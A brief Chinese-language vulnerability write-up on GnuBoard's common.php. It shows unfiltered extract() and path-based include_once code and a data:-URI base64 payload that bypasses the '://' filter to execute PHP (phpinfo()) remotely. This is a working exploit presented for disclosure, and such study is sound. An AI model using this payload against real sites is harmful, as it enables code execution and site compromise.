GnuBoard是韩国比较常见的一个论坛,存在较多的漏洞,其中common.php存在一个文件包含漏洞
看common.php代码
@extract($_GET);
@extract($_POST);
@extract($_SERVER);
……
if (!$g4_path || preg_match("/:\/\//", $g4_path))
die("<meta http-equiv='content-type' content='text/html; charset=$g4[charset]'><script language='JavaScript'> alert('肋给等 规过栏肺 函荐啊 沥狼登菌嚼聪促.'); </script>");
//if (!$g4_path) $g4_path = ".";
$g4['path'] = $g4_path; //只限制了$g4_path不能有字符 ://
unset($g4_path);
include_once("$g4[path]/lib/constant.php"); //本地文件包含漏洞
include_once("$g4[path]/config.php");
include_once("$g4[path]/lib/common.lib.php");
远程代码执行漏洞
bypass_local.php
<?php
if (!$g4_path || preg_match("/:\/\//", $g4_path))
die("fuck");
$g4['path'] = $g4_path;
unset($g4_path);
include_once("$g4[path]/lib/constant.php");
?>
在allow_url_include = On且PHP >= 5.2.0的条件下
提交bypass_local.php?g4_path=data:;base64,PD9waHBpbmZvKCk7Lyo=
成功执行phpinfo()
GnuBoard
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